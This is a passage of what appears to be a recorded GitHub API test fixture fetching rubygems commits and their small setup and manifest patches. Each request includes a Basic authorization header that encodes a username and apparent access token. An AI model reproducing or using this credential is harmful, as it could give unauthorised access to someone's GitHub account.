ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:59 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4469' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"6586b1c50d859a2c29fd3356cdd96e86" Last-Modified: - Fri, 03 Nov 2017 00:52:51 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.051281' X-Github-Request-Id: - C554:4D97:9036E8:1C4756D:5A50E46F body: encoding: ASCII-8BIT string: '{"sha":"5d5f0c39bc8eaf1793c75edb5007cf7d6e0b6e83","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-11-03T00:52:51Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-11-03T00:52:51Z"},"message":"[Setup] Dont install bundler when there is no default specs dir","tree":{"sha":"f4b7fd4253bcd671f18d8503d86aa86d95fd5047","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/f4b7fd4253bcd671f18d8503d86aa86d95fd5047"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/5d5f0c39bc8eaf1793c75edb5007cf7d6e0b6e83","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZ+73jAAoJEAEZW7MV3ahWBrUP/3JM/HTREOFxatui3fxG0GTu\nJqaOyDr/K9xC9m9EYtI4j1Q69uDyqtVG4vvjVHDXgyTItzWuoMndfe9ulvbW61zq\nlgecANmiXWTKK8IxWCajHeXHkicdlzY5BZXqqpKrpV+IM+fs/9T2+21mIjAIUU0F\nOVQ8miGSZEXrF1bOLd05bmhkxfNSAwOK0UdrQ56F9qdladdeEJqpSKw3sKLun36T\nM0hRMf0J8bEKiMwsFTrovITP5ALbPPJ9MYURh8hmevyxCi/N8/jAtNJb06HS1mll\nP7SYUEemoVeWsk82CF2zDyh2Sv7Nbzh5gVObvvjFIqTXw9x7/VNo3qDDpFzd3Xb0\n0LIY3Qt64f1yUWPnxI3ieY4wWigTqUkr0Ug+69BYTGux3vF1ah5xsUef02VgbnT5\n2UbFNjHx86z+6vWexc56nj9tIkIKimqgWt9kNstCd3q7G157feqEbGZ1bvQ+iv8s\nwFHSZdlLrY3j6NPJ8Q1V0YtKAoOWuDOP9ChjbxcPdz1cC78ustkieXAQqv68UY76\n6A+0rt0lvIPTRxwyZoZzFrDZCO/08uMGmPxHqT14p2ZgMEKKZtj3zk+DGU2j8+ol\nfaraw26iN1+xyX0zMkbFKN0XCryqrNavvHeaoewEmopUThKbK/glLOrBFeBNyaIP\nm6uXAGR8h+JxQ7yRYjBI\n=19b7\n-----END PGP SIGNATURE-----","payload":"tree f4b7fd4253bcd671f18d8503d86aa86d95fd5047\nparent 41973ff6f8809ed5dc8b14ba72daa35364c1dbe9\nauthor Samuel Giddins 1509670371 -0500\ncommitter Samuel Giddins 1509670371 -0500\n\n[Setup] Dont install bundler when there is no default specs dir\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/5d5f0c39bc8eaf1793c75edb5007cf7d6e0b6e83","html_url":"https://github.com/rubygems/rubygems/commit/5d5f0c39bc8eaf1793c75edb5007cf7d6e0b6e83","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/5d5f0c39bc8eaf1793c75edb5007cf7d6e0b6e83/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"41973ff6f8809ed5dc8b14ba72daa35364c1dbe9","url":"https://api.github.com/repos/rubygems/rubygems/commits/41973ff6f8809ed5dc8b14ba72daa35364c1dbe9","html_url":"https://github.com/rubygems/rubygems/commit/41973ff6f8809ed5dc8b14ba72daa35364c1dbe9"}],"stats":{"total":2,"additions":2,"deletions":0},"files":[{"sha":"ca24af469b6c8e40e68c77fd50857d80d09a3f03","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":2,"deletions":0,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/5d5f0c39bc8eaf1793c75edb5007cf7d6e0b6e83/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/5d5f0c39bc8eaf1793c75edb5007cf7d6e0b6e83/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=5d5f0c39bc8eaf1793c75edb5007cf7d6e0b6e83","patch":"@@ -352,6 +352,8 @@ def fake_spec.full_gem_path\n def install_default_bundler_gem\n return unless Gem::USE_BUNDLER_FOR_GEMDEPS\n \n+ return unless File.directory?(Gem::Specification.default_specifications_dir)\n+\n bundler_spec = Gem::Specification.load(\"bundler/bundler.gemspec\")\n bundler_spec.files = Dir[\"bundler/{*.md,{lib,exe,man}/**/*}\"]\n bundler_spec.executables -= %w[bundler bundle_ruby]"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:59 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/41973ff6f8809ed5dc8b14ba72daa35364c1dbe9 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:00 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4468' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"43cb86b0125b465e934b586f75a3bfbd" Last-Modified: - Fri, 03 Nov 2017 00:21:46 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.046064' X-Github-Request-Id: - C556:4D97:9036F0:1C4758B:5A50E470 body: encoding: ASCII-8BIT string: '{"sha":"41973ff6f8809ed5dc8b14ba72daa35364c1dbe9","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-11-03T00:21:46Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-11-03T00:21:46Z"},"message":"[Setup] Say what version of Bundler has been installed","tree":{"sha":"4e33b64642087301e1c73a98240fe1d37b7093cf","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/4e33b64642087301e1c73a98240fe1d37b7093cf"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/41973ff6f8809ed5dc8b14ba72daa35364c1dbe9","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZ+7aaAAoJEAEZW7MV3ahWbZQQAJF+ojkqxehCubuuPNSSiFV9\n7BC81cefR9L/oyTW2V+H5HhXrdAaR3dOjmVKlRMTuFtmXb6PLcDwEO6RkygXoul6\nyB3Xd6LQI/hRfw3nrNLMg22UGjfXjdV8xJKD4nSjc5MsnMafMoSxR6mYVL8d/44p\n7nf+jmApAu0ZXbG3hFuwmUACqe+sBOVkQLpngukqOaWT0/hNL7IdkZEcwFhbHxKW\nhQrE5Qmw4NwZX3v3sJRejxqRJNYsNkyFmREciLaLWxJIZVPNUH23braDcHQ4ghQl\ncIOhFCOY+9I6oQy+bRMWZ4xY1vsl4Jve21BEDXUjVIqdaz+KC/M2IXD0HCL6zMH+\nnujzG7NxW6Tq+KAqRfuzFT2rFF0g2foxqBwi2d3IeYmM4Awl6Z+QmJCmu7/PDWAb\nxYObY1CcLWl+LuFnBkDyOBAP2eUlaiL7Mv1SdvRkKcvejVsKtIucMdBrFmvySll3\nDdXujsbNqdpzX0YgxANQYtvOG0n078U05n0eTl5RXev7SP5EqDwoXfzU2A392Q5z\n3zwJmMF+jyiC+CPxEPyyjCpsuzBBfyYcJBWNYWsguHM3fbNyHmm+ahqYgT0mj+mW\n8XL5sz8CbsX/Ohbbus1QsHxU4OosS7J7cVWlDiuQW57OIuvqeB3yUUWqptMm+030\nTD5pS0L1AqipiryXgHqw\n=bxEP\n-----END PGP SIGNATURE-----","payload":"tree 4e33b64642087301e1c73a98240fe1d37b7093cf\nparent 240b7983caaf9dced2b863855874f656e4067c56\nauthor Samuel Giddins 1509668506 -0500\ncommitter Samuel Giddins 1509668506 -0500\n\n[Setup] Say what version of Bundler has been installed\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/41973ff6f8809ed5dc8b14ba72daa35364c1dbe9","html_url":"https://github.com/rubygems/rubygems/commit/41973ff6f8809ed5dc8b14ba72daa35364c1dbe9","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/41973ff6f8809ed5dc8b14ba72daa35364c1dbe9/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"240b7983caaf9dced2b863855874f656e4067c56","url":"https://api.github.com/repos/rubygems/rubygems/commits/240b7983caaf9dced2b863855874f656e4067c56","html_url":"https://github.com/rubygems/rubygems/commit/240b7983caaf9dced2b863855874f656e4067c56"}],"stats":{"total":2,"additions":2,"deletions":0},"files":[{"sha":"24d0c1711f5ac5bcd1b20aeefdef641447e45854","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":2,"deletions":0,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/41973ff6f8809ed5dc8b14ba72daa35364c1dbe9/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/41973ff6f8809ed5dc8b14ba72daa35364c1dbe9/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=41973ff6f8809ed5dc8b14ba72daa35364c1dbe9","patch":"@@ -370,6 +370,8 @@ def install_default_bundler_gem\n \n mkdir_p bundler_spec.bin_dir\n bundler_spec.executables.each {|e| cp File.join(\"bundler\", bundler_spec.bindir, e), File.join(bundler_spec.bin_dir, e) }\n+\n+ say \"Bundler #{bundler_spec.version} installed\"\n end\n \n def make_destination_dirs(install_destdir)"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:00 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/240b7983caaf9dced2b863855874f656e4067c56 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:00 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4467' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"29c1bf639a195ecb4d8f3489626c9066" Last-Modified: - Fri, 03 Nov 2017 00:19:06 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.047234' X-Github-Request-Id: - C558:4D94:4EFFB5:B3018B:5A50E470 body: encoding: ASCII-8BIT string: '{"sha":"240b7983caaf9dced2b863855874f656e4067c56","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-11-03T00:19:06Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-11-03T00:19:06Z"},"message":"[Manifest] Include the bundler gemspec\n\nThis should allow the setup task to succeed when run from the published rubygems-update gem, and not just from source","tree":{"sha":"44805ae6a625f7ac0ee308701a7700bccde020a3","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/44805ae6a625f7ac0ee308701a7700bccde020a3"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/240b7983caaf9dced2b863855874f656e4067c56","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZ+7X6AAoJEAEZW7MV3ahW+mUP/1GwSqZ8Ful9kaWmMs95CAXd\nCQ2ijTvqTg0pwHZqvwVpWlAmFz2UWEfGbeLUUYGH+yEofuOJTpqWzJiY/1kicF2H\nE/4iqHVubLChWfL9VJvlRHohWeUthWgtr35d7Qq0RNtNHc7xAfsUF1fQPzDOakim\nAVQi4vWXKtzkGcHSooSD8SHCapSE5Cf6Z9Mi/5AD8hL6Crtib361UP7hgTbAIVBF\nadBB+mmmOqnpfNCXtQMe2O/ve2HRZV2KGGHlWcygdbYSGBu8yabfbjtzLZQo+SXg\nXX9u7dEBnDRcp7Qd2icacU6CeiDRdl+Bps764+rw7T2pjrIeqGdwMBXwRkq649Xz\nw0dfGs2h17PHmCUxui18q9swaMEmpNNIIULcI8DDWAEuMkHX8AsnYa4p6x8jAEx2\nZhuaf7WURl+L5Y9EipJK1ApzDOc23nOOISmy64vaX0cZNaJjoP8J6xiztOM4DH6V\n6mIUVybXzk2x5SSUTB6spNQAQhTLfsHoWzW5LZn1PyApMVxmJJs9skF+R85XN19l\nzJW5FQXGQIafFIw8cdXYR7M9yVzEADeLEZvCAo0lFYM7KSGlsKw3qsSr/WAOUq4n\nd8kj2gUrNb14V8H55xue1Tp9ZjbOfz98kUuiUeFzByU7D6FSXjKrBdTVDpvbBUA+\nmArEdw0yj4+GFQWB4xtU\n=l97Y\n-----END PGP SIGNATURE-----","payload":"tree 44805ae6a625f7ac0ee308701a7700bccde020a3\nparent c9ce30a46793ee04a68ce320a3fb15d3a26bd15c\nauthor Samuel Giddins 1509668346 -0500\ncommitter Samuel Giddins 1509668346 -0500\n\n[Manifest] Include the bundler gemspec\n\nThis should allow the setup task to succeed when run from the published rubygems-update gem, and not just from source\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/240b7983caaf9dced2b863855874f656e4067c56","html_url":"https://github.com/rubygems/rubygems/commit/240b7983caaf9dced2b863855874f656e4067c56","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/240b7983caaf9dced2b863855874f656e4067c56/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"c9ce30a46793ee04a68ce320a3fb15d3a26bd15c","url":"https://api.github.com/repos/rubygems/rubygems/commits/c9ce30a46793ee04a68ce320a3fb15d3a26bd15c","html_url":"https://github.com/rubygems/rubygems/commit/c9ce30a46793ee04a68ce320a3fb15d3a26bd15c"}],"stats":{"total":3,"additions":2,"deletions":1},"files":[{"sha":"b40d5cd26687466a71e6c1aa9717b81653974422","filename":"Manifest.txt","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/rubygems/rubygems/blob/240b7983caaf9dced2b863855874f656e4067c56/Manifest.txt","raw_url":"https://github.com/rubygems/rubygems/raw/240b7983caaf9dced2b863855874f656e4067c56/Manifest.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Manifest.txt?ref=240b7983caaf9dced2b863855874f656e4067c56","patch":"@@ -23,6 +23,7 @@ bundler/CODE_OF_CONDUCT.md\n bundler/CONTRIBUTING.md\n bundler/LICENSE.md\n bundler/README.md\n+bundler/bundler.gemspec\n bundler/exe/bundle\n bundler/exe/bundle_ruby\n bundler/exe/bundler"},{"sha":"dc5302059571b47ce61ef48059e0f0af5b64c2c5","filename":"Rakefile","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/240b7983caaf9dced2b863855874f656e4067c56/Rakefile","raw_url":"https://github.com/rubygems/rubygems/raw/240b7983caaf9dced2b863855874f656e4067c56/Rakefile","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Rakefile?ref=240b7983caaf9dced2b863855874f656e4067c56","patch":"@@ -95,7 +95,7 @@ Hoe::Package.instance_method(:install_gem).tap do |existing_install_gem|\n end\n end\n \n-Hoe::DEFAULT_CONFIG[\"exclude\"] = %r[#{Hoe::DEFAULT_CONFIG[\"exclude\"]}|\\./bundler/(?!lib|man|exe|[^/]+\\.md)|doc/]ox\n+Hoe::DEFAULT_CONFIG[\"exclude\"] = %r[#{Hoe::DEFAULT_CONFIG[\"exclude\"]}|\\./bundler/(?!lib|man|exe|[^/]+\\.md|bundler.gemspec)|doc/]ox\n \n v = hoe.version\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:00 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/c9ce30a46793ee04a68ce320a3fb15d3a26bd15c body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:00 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4466' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"96f54abedc2dee71b79dd3b2c61aceda" Last-Modified: - Thu, 02 Nov 2017 04:07:57 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.045834' X-Github-Request-Id: - C55A:4D95:F47F8D:1C83947:5A50E470 body: encoding: ASCII-8BIT string: '{"sha":"c9ce30a46793ee04a68ce320a3fb15d3a26bd15c","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-11-02T04:07:57Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-11-02T04:07:57Z"},"message":"Version 2.7.0 with changelog","tree":{"sha":"e979ee85037d8aebcad1d442b55b4703206ccbd1","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/e979ee85037d8aebcad1d442b55b4703206ccbd1"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/c9ce30a46793ee04a68ce320a3fb15d3a26bd15c","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZ+podAAoJEAEZW7MV3ahW/E8QAI6Ntb883ahPgXL5qVOav/wB\nPUijVU82g7a/qv0RvI7hp1wDVoNwIA0HmlFzZnPU12SVIPm7VtdaMEq+nTe96fCy\n7RCZPVnJ1GLq0tMe1tRgeqs5/33Wy5x12nlWq22I+2zR0iSpp1KABWtMimOROpJU\n0Wyvv4P5sxBPElAoyI5d1j5IOxIrpsLJvXmG/c2gpCncm8hHIf7V1cWLVF5I11Oh\nXkf0GTS7I/+K0CW9Bo97UDdfQS4ysONK5OcqIp8e/Tp2Mml/hafcAC6a+f467z+o\n62pZvsWJ97qdrhhgXjSO22J/e2D+2Xi1GxTEUBOLi0VuT+DyDug2rI2L1VZAHrZQ\nSBnN6tFVJsmElz6Pfwfa6fX6c4k/66hUNaqinHcW5qhx9zmgNrCiIgOWBmZ7DEjm\nmWF7RhL7APp+ZP9pktROX4N0yWukM6aApQkt7MD0sXjYwaW3HI56KAktXyielti2\n37x3NUiq2lu+TOHxtC/AKoqyl35QhckTKK6QguRh0GBO/XM7s5gryBV7xAZ0R6xM\n1MYwMWjjoLTYN1RsUZs0O2OfrfaOUFVvxFw9ulb4lqXpFelk0+kF6Do7riwHMubN\nXWe0Mn1abRQqPRgyil7DhwJwGtHbea4nOMprnkt/GNcfpJ2x9KPbkgxf+2zZY8of\nIZF+gziTW4SRjAzoiFFU\n=GBAu\n-----END PGP SIGNATURE-----","payload":"tree e979ee85037d8aebcad1d442b55b4703206ccbd1\nparent 141073c772407c4f961aa7160c88ea58caf1f847\nauthor Samuel Giddins 1509595677 -0500\ncommitter Samuel Giddins 1509595677 -0500\n\nVersion 2.7.0 with changelog\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/c9ce30a46793ee04a68ce320a3fb15d3a26bd15c","html_url":"https://github.com/rubygems/rubygems/commit/c9ce30a46793ee04a68ce320a3fb15d3a26bd15c","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/c9ce30a46793ee04a68ce320a3fb15d3a26bd15c/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"141073c772407c4f961aa7160c88ea58caf1f847","url":"https://api.github.com/repos/rubygems/rubygems/commits/141073c772407c4f961aa7160c88ea58caf1f847","html_url":"https://github.com/rubygems/rubygems/commit/141073c772407c4f961aa7160c88ea58caf1f847"}],"stats":{"total":4,"additions":2,"deletions":2},"files":[{"sha":"3b61cd7ede2b246ae973ec0d733c092f26c703ae","filename":"History.txt","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/c9ce30a46793ee04a68ce320a3fb15d3a26bd15c/History.txt","raw_url":"https://github.com/rubygems/rubygems/raw/c9ce30a46793ee04a68ce320a3fb15d3a26bd15c/History.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/History.txt?ref=c9ce